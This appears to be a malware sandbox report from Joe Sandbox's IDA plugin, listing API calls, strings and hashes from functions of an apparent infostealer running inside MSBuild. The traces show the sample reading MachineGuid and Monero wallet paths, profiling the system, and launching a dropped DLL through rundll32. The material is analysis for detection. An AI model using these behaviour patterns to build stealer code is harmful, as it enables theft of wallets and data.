Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction ID: 0ff93e3964314176e77d227a408a26f2d5f5c114657683c54b3501ab57c319cc
Opcode Fuzzy Hash: 75fab543a449f2685085885795b59cbea3fa668453bc9f9c35b9832efa3d8375
Instruction Fuzzy Hash: 7B5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

h{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: h{A
API String ID: 3891774339-1955959473
Opcode ID: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction ID: 11ea90a2464f6125f524f968da0a53cddfc2673ac5f331e98a6178277102b4a3
Opcode Fuzzy Hash: 2092683283f8f05b025d3b948e45c9dd5b69c24ce4ee78f1b0c6bbfeb2168e11
Instruction Fuzzy Hash: 4341C07194011D9FDF24EF60EC86EE8777ABB18309F4004AAB109A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction ID: bf363316d9f6571f49514449d26765cf658df32c5c9fcb3b3632bb5b835e2134
Opcode Fuzzy Hash: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction Fuzzy Hash: 26111EB590021DAFDB10DF90DC89FEAB7BDEB04309F4041E6A659E2052D6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction ID: 53acc371e07144810ae120d98390ef4438e1254b635cfb1d3d0c05d34c9dce0f
Opcode Fuzzy Hash: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction Fuzzy Hash: 45F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E6B66A509624

Function 00415DF7 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1546541418-0
Opcode ID: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction ID: d4027fbd7381f6bfbcf24146e6074306668531ed6589037fa2cb1aad682cc9ea
Opcode Fuzzy Hash: 8a95208f727adeab3463ee9a9c95def6d372cd693ea90166d9eb0d2fe35566f9
Instruction Fuzzy Hash: B4511BB1A0011C9BCF54DB64CC85ADDB7B9BB4C305F4044EAF609E3250EA75AB898F58

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction ID: af18a880466fc4aa13f3874e26697bbc89a3619d57557fd4e8cfd36f99de9a7f
Opcode Fuzzy Hash: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction Fuzzy Hash: D0114C70A0020ADFCB019FA4DC989EEBBB5AF49314F64417EF215E72A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418616), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction ID: a3c9baa8e3236edb9a3c173d747cc6cf9767caf9e9e42cd5afe8a70771407b79
Opcode Fuzzy Hash: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction Fuzzy Hash: B6F0C87238121477F22412753C6EF6B1A6C9B41F56F205035F309FB2D0D6699804967C

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
.dll, xrefs: 004129ED
C:\ProgramData\, xrefs: 00412995
"" , xrefs: 00412A32

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction ID: e16faae0c81c60b5e598804f18e2624829d9ce3e19401eba06f84191a032fb08
Opcode Fuzzy Hash: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction Fuzzy Hash: 94118671A1011CABCB21EB65DD86FDD73BCAB18704F4000A6B645E7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction ID: 5dcbff83f2e118e0c4558aaad003bfdfd7763a9b2ecc3f626fa71ae20ae50975
Opcode Fuzzy Hash: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction Fuzzy Hash: C60186B1A00218ABEB08DFB4DC45AEEB7BDEF08705F04006AF602D7290EA7599818758

